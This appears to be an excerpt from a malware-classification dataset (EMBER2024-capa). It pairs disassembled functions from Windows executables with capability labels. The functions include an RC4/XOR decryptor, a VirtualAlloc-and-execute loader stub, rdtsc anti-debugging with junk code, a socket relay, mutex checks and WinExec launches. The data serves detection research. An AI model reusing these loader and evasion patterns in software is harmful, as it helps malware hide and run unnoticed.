joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4076a7
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1000
call fcn.00407b0c
push esi
push edi
push 0x1000
push 0
lea eax, [ebp - 0x1000]
push eax
call sub.CRTDLL.DLL_memset
add esp, 0xc
push 0
push 0x1000
lea eax, [ebp - 0x1000]
push eax
push dword [ebp + 8]
call sub.wsock32.dll_recv
mov edi, eax
or edi, edi
jne 0x4076ed
or eax, 0xffffffff
jmp 0x407740
cmp edi, 0xffffffff
jne 0x407707
call sub.wsock32.dll_WSAGetLastError
cmp eax, 0x2733
jne 0x407702
xor eax, eax
jmp 0x407740
or eax, 0xffffffff
jmp 0x407740
push 0
push edi
lea eax, [ebp - 0x1000]
push eax
push dword [ebp + 0xc]
call sub.wsock32.dll_send
mov esi, eax
or esi, esi
jne 0x407724
or eax, 0xffffffff
jmp 0x407740
cmp esi, 0xffffffff
jne 0x40773e
call sub.wsock32.dll_WSAGetLastError
cmp eax, 0x2733
jne 0x407739
xor eax, eax
jmp 0x407740
or eax, 0xffffffff
jmp 0x407740
xor eax, eax
pop edi
pop esi
leave
ret

Function at 0x407aa8
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
call sub.KERNEL32.DLL_GetCommandLineA
mov edi, eax
cmp byte [edi], 0x22
jne 0x407adc
push 0x22
mov eax, edi
inc eax
push eax
call sub.CRTDLL.DLL_strchr
add esp, 8
mov dword [ebp - 4], eax
or eax, eax
je 0x407af7
mov edi, eax
inc edi
jmp 0x407ad4
inc edi
cmp byte [edi], 0x20
je 0x407ad3
jmp 0x407af7
inc edi
movsx eax, byte [edi]
or eax, eax
je 0x407ae8
cmp eax, 0x20
jne 0x407adb
jmp 0x407aeb
inc edi
movsx eax, byte [edi]
or eax, eax
je 0x407af7
cmp eax, 0x20
je 0x407aea
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
push 1
push edi
push 0
push eax
call fcn.00401250
pop edi
leave
ret
Function at 0x421240
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x9da2e0]
xor edx, edx
cmp eax, edx
jne 0x421266
xor eax, eax
mov byte [eax + 0x9da1e0], al
inc eax
cmp eax, 0x100
jl 0x42124e
mov dword [0x9da2e0], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x9da1e0
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4212f7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x4212ca
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x421298
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x421370
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x4213c3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x4213aa
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x427e00
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x427f98
cmp ebp, ebx
jle 0x427f98
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x427e5e
dec eax
or eax, 0xfffffff8
inc eax
je 0x427e65
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, 0x80000001
jns 0x427e74
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x427e7b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.00480b45
add esp, 4
cmp eax, ebx
je 0x427e9c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.00480b45
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x427f8e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x427f75
mov al, byte [edx]
cmp al, 0xc0
jbe 0x427f61
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x427f56
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x427f64
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x427f64
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x427f00
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x427ef1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x435fa0
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x48e618
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push ebp
mov ebp, dword [esp + 0x30]
push esi
mov ebx, ecx
push edi
mov esi, dword [ebp]
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 0x10]
dec ecx
cmp eax, ecx
jge 0x435fd9
inc eax
mov dword [esi + 0x10], eax
jmp 0x4360ec
mov eax, dword [ebx + 0x3c]
mov ecx, dword [esi + 8]
cmp ecx, eax
jne 0x435fed
mov eax, 0xffffffc7
jmp 0x4360ee
mov esi, dword [esi]
mov edx, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp edx, ecx
jl 0x435ffe
cmp dword [esi + 8], eax
jne 0x435fed
cmp dword [esi + 8], eax
jne 0x436017
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp eax, ecx
jl 0x436017
mov eax, 0xffffffc7
jmp 0x4360ee
mov eax, dword [esi + 4]
xor edi, edi
cmp eax, edi
je 0x43602b
push eax
mov ecx, ebx
call fcn.004357d0
mov dword [esi + 4], edi
mov dword [ebp], esi
mov ecx, dword [esi + 0x10]
inc ecx
mov dword [esi + 0x10], ecx
lea ecx, [esp + 0x10]
call fcn.00406af0
mov dword [esp + 0x2c], edi
mov edi, dword [esp + 0x3c]
test edi, edi
jne 0x43605c
mov ecx, dword [ebx + 4]
mov edx, dword [ecx + 8]
lea ecx, [esp + 0x10]
push edx
call fcn.00406b10
mov edi, eax
mov eax, dword [esi + 8]
push edi
push eax
mov ecx, ebx
call fcn.00434f40
test eax, eax
mov dword [esp + 0x38], eax
je 0x43608f
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x9a6510
call fcn.00406cf0
mov eax, dword [esp + 0x38]
jmp 0x4360ee
mov ecx, dword [esi + 0x10]
push ecx
push edi
mov ecx, ebx
call fcn.00435e00
mov dl, byte [edi]
and dl, 1
cmp dl, 1
jne 0x4360d3
mov ecx, dword [esp + 0x34]
push ebp
push ecx
push edi
push eax
mov ecx, ebx
call fcn.00435e20
mov esi, eax
test esi, esi
jne 0x436103
mov edx, dword [ebp]
push eax
push edi
mov ecx, ebx
mov dword [edx + 0x10], eax
call fcn.00435e00
mov cl, byte [edi]
and cl, 1
cmp cl, 1
je 0x4360a5
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x9a6510
call fcn.00406cf0
xor eax, eax
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x20
ret 0xc
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x9a6510
call fcn.00406cf0
mov eax, esi
jmp 0x4360ee
Function at 0x451700
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x48f1a0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.004512b0
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.00451330
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.00451330
lea ecx, [esi + 0xc]
call fcn.00480d8f
lea ecx, [esi + 0x10]
call fcn.00480d8f
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.004528c0
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.004528c0
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.004528c0
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.00480e04
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.00480e04
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret

Function at 0x453920
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x48f428
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
mov al, byte [esp + 0x28]
push ebx
xor ebx, ebx
push esi
push ebx
lea ecx, [esp + 0x10]
mov dword [esp + 0xc], ebx
mov byte [esp + 0x10], al
call fcn.00453330
mov eax, dword [esp + 0x30]
mov dword [esp + 0x24], ebx
mov ecx, dword [eax + 4]
cmp ecx, ebx
jne 0x453965
xor eax, eax
jmp 0x45396a
mov eax, dword [eax + 8]
add eax, ecx
mov edx, dword [esp + 0x3c]
push edx
mov edx, dword [esp + 0x3c]
push edx
mov edx, dword [esp + 0x3c]
push edx
push eax
push ecx
lea eax, [esp + 0x20]
lea ecx, [esp + 0x44]
push eax
push ecx
call fcn.00453f60
mov esi, dword [esp + 0x48]
mov dl, byte [esp + 0x28]
add esp, 0x1c
lea ecx, [esp + 0xc]
mov byte [esi], dl
mov dword [esi + 4], ebx
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
mov eax, dword [0x9aac64]
push eax
push ebx
push ecx
mov ecx, esi
call fcn.004530b0
mov ecx, dword [esp + 0x10]
cmp ecx, ebx
je 0x4539e8
mov al, byte [ecx - 1]
cmp al, bl
je 0x4539de
cmp al, 0xff
je 0x4539de
dec al
mov byte [ecx - 1], al
mov eax, esi
pop esi
pop ebx
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
add esp, 0x20
ret
dec ecx
push ecx
call fcn.00480b6e
add esp, 4
mov ecx, dword [esp + 0x1c]
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x20
ret
Function at 0x459390
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x48f5c8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
mov eax, dword [esp + 0x40]
push ebx
push esi
lea ecx, [esp + 8]
push eax
push ecx
mov ecx, dword [esp + 0x4c]
call fcn.004596a0
mov esi, eax
lea edx, [esp + 0x48]
xor ebx, ebx
push edx
lea ecx, [esp + 0x1c]
mov dword [esp + 0x40], ebx
mov dword [esp + 0x4c], 0xa08244
call fcn.00460848
mov ecx, dword [0x9aac64]
mov al, byte [esi]
push ecx
push ebx
push esi
lea ecx, [esp + 0x30]
mov byte [esp + 0x48], 1
mov byte [esp + 0x30], al
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
call fcn.004530b0
mov esi, 0x9aaccc
mov dword [esp + 0x18], esi
mov eax, dword [esp + 0xc]
mov byte [esp + 0x3c], 3
cmp eax, ebx
je 0x459437
lea ecx, [eax - 1]
mov al, byte [eax - 1]
cmp al, bl
je 0x45942e
cmp al, 0xff
je 0x45942e
dec al
mov byte [ecx], al
jmp 0x459437
push ecx
call fcn.00480b6e
add esp, 4
lea ecx, [esp + 0x18]
mov dword [esp + 0xc], ebx
mov dword [esp + 0x10], ebx
mov dword [esp + 0x14], ebx
call fcn.0047ced0
mov eax, dword [esp + 0x28]
mov dword [esp + 0x3c], 0xffffffff
cmp eax, ebx
mov dword [esp + 0x18], esi
je 0x45947d
lea ecx, [eax - 1]
mov al, byte [eax - 1]
cmp al, bl
je 0x459474
cmp al, 0xff
je 0x459474
dec al
mov byte [ecx], al
jmp 0x45947d
push ecx
call fcn.00480b6e
add esp, 4
lea ecx, [esp + 0x18]
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
call fcn.004608cf
mov ecx, dword [esp + 0x34]
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x38
ret
Function at 0xa3ac57
Capabilities:
Execute anti-debugging instructions

Disassembly:
stc
and eax, 0xf
jmp 0xae454e
lea esi, [esi + 0x4a0b4f68]
pushfd
pushfd
call fcn.00acb3cc
cmp al, 0xf
mov ah, byte [esp]
push ecx
pushfd
mov eax, 0xa25fd8
pushfd
mov byte [esp], 0x38
lea esp, [esp + 0x30]
je 0xa62ce0
rdtsc
rdtsc
setle ah
mov eax, 0xa25fe4
movzx edx, al
movzx ecx, byte [edi + ebx]
mov edx, 0x7dcf80b9
setle dl
call fcn.00a2fa86
jmp 0xad86da

Function at 0xa4ee22
Capabilities:
Execute anti-debugging instructions

Disassembly:
bt sp, 9
pushal
pushfd
add ecx, 0xc
cmc
cmc
push 0x66734570
call fcn.00a59350
lea esp, [esp + 0x48]
jg 0xa17e44
add ecx, 0xc
cmp bl, ch
clc
test esp, ecx
cmp edx, eax
pushfd
lea esp, [esp + 4]
jb 0xa972e1
mov al, ah
cdq
lea eax, [eax*2 - 0x5f12a0e1]
rdtsc
dec dword [esi + 0x28]

Function at 0xa6aec6
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ecx
pushfd
mov byte [esp + 4], bh
lea esp, [esp + 0x50]
call fcn.00a90d54
rdtsc
lea edx, [ecx - 0x408e06e0]
push 0x49561ee1
rdtsc
mov edx, dword [ebp + 0x18]
setle ah
mov eax, dword [ebp + 0x10]
jmp 0xa72121

Function at 0xa94194
Capabilities:
Execute anti-debugging instructions

Disassembly:
bswap dx
movzx dx, bl
mov edx, dword [esp + 4]
jmp 0xa9d4b1
pushfd
lea edx, [edx + 1]
push 0x78a2366e
mov byte [esp + 4], 0xb4
mov byte [esp + 4], 0xca
mov dword [esp + 0xc], edx
sete dh
pop edx
mov edx, 0x4815b6
pushal
pushal
push dword [esp + 4]
call fcn.00a5d911
lea ecx, [ecx + 0x4f461240]
pushfd
xchg dword [esp + 0x38], ecx
push ebp
mov dword [esp + 0x10], ebx
mov byte [esp + 4], bl
push dword [esp + 0x3c]
ret 0x40
jmp 0xa5f844
pushfd
lea esp, [esp + 0x34]
jl 0xab57c6
btr dx, 8
rcr dx, 7
cmp ch, ch
movzx edx, word [edi]
aam 0x7b
inc ah
test dx, 0x28cb
movzx eax, word [edi + 2]
test cl, bl
add edx, eax
pushfd
cmc
sub ebx, ebx
cmp dh, bh
cmc
clc
test edx, edx
pushfd
lea esp, [esp + 8]
jle 0xae07b4
lea ecx, [ebx - 0x6223ee9e]
movzx dx, dl
rdtsc
push 0x14cd22df
lea esp, [esp + 4]
rdtsc
bswap dx
movzx edx, word [edi + ebx*8 + 4]
call fcn.00a89dd8
stc
pushfd
push dword [esp]
test eax, eax
pushal
lea esp, [esp + 0x28]
je 0xa526f4
bt ax, dx
call fcn.00a956d4
push 0x32444209
xchg dword [esp], edx
pushfd
setle dh
pushal
lea esp, [esp + 0x24]
jnp 0xa8d336
mov edx, dword [esp + 4]
pushal
pushfd
jmp 0xac8313
jmp 0xa60e73
call fcn.00ad298e
and ebp, ebx
adc byte [eax - 0x78], bl
pop es
fsubr st(1)
xor edi, ecx
test esp, edx
mul dword [esi + 0x29d10e4e]
enter 0x2164, 0xffffffffffffffba
mov al, 0xcf
adc ch, cl
or ecx, dword [ebp + 0x2a]
scasb al, byte es:[edi]
dec ebp
adc byte [edi + 0x4ac42cf6], dh
invalid
aam 0x39
setnp al
cmc
cmp dword [ebp - 4], 0
movsx eax, bl
setns al
mov eax, dword [ebp + 0xc]
push edx
jmp 0xaa3021
lea edx, [edx + 1]
jmp 0xa91483

Function at 0xa972b8
Capabilities:
Execute anti-debugging instructions

Disassembly:
cmp edi, eax
push ecx
lea esp, [esp + 0x2c]
jae 0xa4ee41
lea eax, [esi*4 - 0x6005db3c]
lea ecx, [edi + edi*2]
shrd di, si, 5
aad 0x6b
add ecx, ecx
btc ax, bx
neg di
add ecx, ecx
Function at 0xa97d6d
Capabilities:
Encode data using xor

Disassembly:
push 0x1e23e435
call fcn.00aafbf6
jp 0xa77761
mov ebp, 0xd80acfc1
or al, 0x36
sub al, 0x2f
xor ebp, dword [edx + 0x5e63ae2e]
xchg esp, eax
xchg esi, eax
xor al, 0xfb
invalid
xor byte [ebx - 0x6f40663a], ah
lahf
mov bl, bh
ror dword [eax + 0x78c3eb2c], cl
mov edx, 0xac6575f0
and al, 0x54
push esp
dec esi
fidivr word [esi - 0x68855572]
and ecx, dword [eax + edx*4 + 0xdb02a45]
js 0xa7774c
pop edx
fsubr dword [eax]
inc esi
les ebx, [edx + 0x104de0c9]
fistp qword [0x9f250e4]
jmp 0xa0c2014f
jmp 0xad1153
mov dword [esp + 0x28], eax
setp ah
mov eax, dword [esp + 0x2c]
push 0xdd2bb8de
jmp 0xa776f9

Function at 0xae0bde
Capabilities:
Encode data using xor

Disassembly:
mov byte [esp + 0x10], 0x76
mov esi, dword [esi + 0x62c2b9]
mov word [esp + 4], sp
pushfd
pushfd
pushfd
lea esi, [esi - 0x4f94f2a8]
call fcn.00a8503f
or ecx, esp
inc esi
dec edx
bound ecx, qword [ebx]
fcom dword [0x5521743]
pop ecx
push es
dec ebx
xor al, 0x8b
cmp byte [0x8dc622bb], ah
invalid
pushal
mov esi, 0x483ab5
mov byte [esp], 0x47
jmp 0xa6da76
Function at 0x40ebcc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x40ebdb
pop dword [ebp - 0x28]
mov eax, 0x54cb71ed
add eax, 0xab7579ee
sub dword [ebp - 0x28], eax
push 0x40
push 0x1000
push 0x37e96
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x28]
call dword [eax]
mov ecx, 0x4d2c
mov esi, eax
mov edx, 0x443600
add edx, dword [ebp - 0x28]
mov ebx, 0xdc4847b2
sub ebx, 0x442f62f4
mov dword [ebp - 4], 0x7d1b88e6
mov edi, dword [edx]
mov dword [ebp - 0x18], 0x8d26aabc
xor edi, ebx
mov dword [ebp - 0x1c], 0x787189fa
mov dword [esi], edi
sub dword [ebp - 0x10], 0x379efedd
add esi, 0xf06954bf
add esi, 0xf96ab45
add edx, 4
loop 0x40ec29
add eax, 0x75be8f43
sub eax, 0x75bd67c0
mov ebx, eax
add eax, 5
mov ecx, 0x2181912f
add ecx, 0xdebe6ed1
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x401670
Capabilities:
Check mutex on windows

Disassembly:
sub esp, 0x1c
push 0x408190
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
jne 0x4016a1
push 0x408190
push 1
push eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4016a9
xor eax, eax
add esp, 0x1c
ret 0x10
push esi
mov esi, dword [esp + 0x24]
push edi
mov edi, dword [sym.imp.USER32.dll_LoadStringA]
push 0x104
push 0x40a3c8
push 0x67
push esi
call edi
push 0x104
push 0x40a2c0
push 0x6d
push esi
call edi
push esi
call fcn.004015e0
add esp, 4
push 0
call fcn.00403af0
push 0
push 0
push 0
push 0x40a4e8
call fcn.00403e00
mov eax, dword [esp + 0x34]
push eax
push esi
call fcn.00401000
add esp, 8
test eax, eax
jne 0x401714
call fcn.00403b80
pop edi
xor eax, eax
pop esi
add esp, 0x1c
ret 0x10
push 0x6d
push esi
call dword [sym.imp.USER32.dll_LoadAcceleratorsA]
mov edi, dword [sym.imp.USER32.dll_GetMessageA]
push 0
push 0
push 0
lea ecx, [esp + 0x14]
push ecx
mov esi, eax
call edi
test eax, eax
je 0x40177a
push ebx
mov ebx, dword [sym.imp.USER32.dll_TranslateAcceleratorA]
push ebp
mov ebp, dword [sym.imp.USER32.dll_TranslateMessage]
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x10]
push edx
push esi
push eax
call ebx
test eax, eax
jne 0x401767
lea ecx, [esp + 0x10]
push ecx
call ebp
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.USER32.dll_DispatchMessageA]
push 0
push 0
push 0
lea eax, [esp + 0x1c]
push eax
call edi
test eax, eax
jne 0x401744
pop ebp
pop ebx
call fcn.00403b80
mov eax, dword [esp + 0x10]
pop edi
pop esi
add esp, 0x1c
ret 0x10

Function at 0x4017d0
Capabilities:
Create process on windows
Query environment variable

Disassembly:
mov eax, dword [0x40a4f8]
sub esp, 0x104
test eax, eax
jne 0x40186f
push 0x104
lea eax, [esp + 4]
push eax
push 0x408234
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 3
lea ecx, [esp + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
cmp eax, 0x20
jae 0x401813
xor eax, eax
add esp, 0x104
ret
mov eax, dword [0x40a4f8]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_FindWindowA]
xor esi, esi
test eax, eax
jne 0x401847
push 0x3e8
call fcn.00402e70
add esp, 4
push 0
push 0x408218
call edi
inc esi
cmp esi, 5
mov dword [0x40a4f8], eax
jl 0x401822
push 0xbb8
call fcn.00402e70
add esp, 4
push 0x4081f8
call dword [sym.imp.USER32.dll_RegisterWindowMessageA]
mov dword [0x40a4f4], eax
mov eax, dword [0x40a4f8]
test eax, eax
pop edi
pop esi
je 0x401887
mov edx, dword [esp + 0x108]
mov ecx, dword [0x40a4f4]
push 1
push edx
push ecx
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
mov eax, 1
add esp, 0x104
ret

Function at 0x4018a0
Capabilities:
Create process on windows

Disassembly:
push esi
push 0x408296
push 0x408250
push 0x80000002
call fcn.00403200
mov esi, eax
add esp, 0xc
test esi, esi
je 0x4018f2
push esi
call fcn.00402ee0
add esp, 4
test eax, eax
je 0x4018f2
mov eax, dword [esp + 8]
add dword [eax], 0x100
mov eax, dword [esp + 0xc]
test eax, eax
je 0x4018f2
push 3
push esi
call dword [sym.imp.KERNEL32.dll_WinExec]
cmp eax, 0x20
jb 0x4018f2
mov eax, 1
pop esi
ret
xor eax, eax
pop esi
ret
Function at 0x401900
Capabilities:
Create process on windows

Disassembly:
push esi
push 0x408296
push 0x408298
push 0x80000002
call fcn.00403200
mov esi, eax
add esp, 0xc
test esi, esi
je 0x40194e
push esi
call fcn.00402ee0
add esp, 4
test eax, eax
je 0x40194e
mov eax, dword [esp + 8]
inc dword [eax]
mov eax, dword [esp + 0xc]
test eax, eax
je 0x40194e
push 3
push esi
call dword [sym.imp.KERNEL32.dll_WinExec]
cmp eax, 0x20
jb 0x40194e
mov eax, 1
pop esi
ret
xor eax, eax
pop esi
ret

Function at 0x401960
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x104
push 0x408314
push 0x4082f4
push 0x80000002
call fcn.00403200
add esp, 0xc
test eax, eax
je 0x4019d9
push eax
lea eax, [esp + 4]
push 0x4082dc
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [esp + 0xc]
push ecx
call fcn.00402ee0
add esp, 0x10
test eax, eax
je 0x4019d9
mov eax, dword [esp + 0x108]
add dword [eax], 0x80
mov eax, dword [esp + 0x10c]
test eax, eax
je 0x4019d9
push 3
lea edx, [esp + 4]
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
cmp eax, 0x20
jb 0x4019d9
mov eax, 1
add esp, 0x104
ret
xor eax, eax
add esp, 0x104
ret

Function at 0x4019f0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x104
push esi
push 0x408370
push 0x408334
push 0x80000002
call fcn.00403200
mov esi, eax
add esp, 0xc
test esi, esi
je 0x401a69
push esi
call fcn.00402ee0
add esp, 4
test eax, eax
je 0x401a69
mov eax, dword [esp + 0x10c]
add dword [eax], 2
mov eax, dword [esp + 0x110]
test eax, eax
je 0x401a69
push esi
lea eax, [esp + 8]
push 0x408320
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 3
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
cmp eax, 0x20
jb 0x401a69
mov eax, 1
pop esi
add esp, 0x104
ret
xor eax, eax
pop esi
add esp, 0x104
ret

Function at 0x401a80
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x104
push 0x4083a8
push 0x40838c
push 0x80000002
call fcn.00403200
add esp, 0xc
test eax, eax
je 0x401af6
push eax
lea eax, [esp + 4]
push 0x408378
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [esp + 0xc]
push ecx
call fcn.00402ee0
add esp, 0x10
test eax, eax
je 0x401af6
mov eax, dword [esp + 0x108]
add dword [eax], 0x40
mov eax, dword [esp + 0x10c]
test eax, eax
je 0x401af6
push 3
lea edx, [esp + 4]
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
cmp eax, 0x20
jb 0x401af6
mov eax, 1
add esp, 0x104
ret
xor eax, eax
add esp, 0x104
ret

Function at 0x401b00
Capabilities:
Create process on windows

Disassembly:
push esi
push 0x4083d4
push 0x4083b4
push 0x80000002
call fcn.00403200
mov esi, eax
add esp, 0xc
test esi, esi
je 0x401b52
push esi
call fcn.00402ee0
add esp, 4
test eax, eax
je 0x401b52
mov eax, dword [esp + 8]
add dword [eax], 0x200
mov eax, dword [esp + 0xc]
test eax, eax
je 0x401b52
push 3
push esi
call dword [sym.imp.KERNEL32.dll_WinExec]
cmp eax, 0x20
jb 0x401b52
mov eax, 1
pop esi
ret
xor eax, eax
pop esi
ret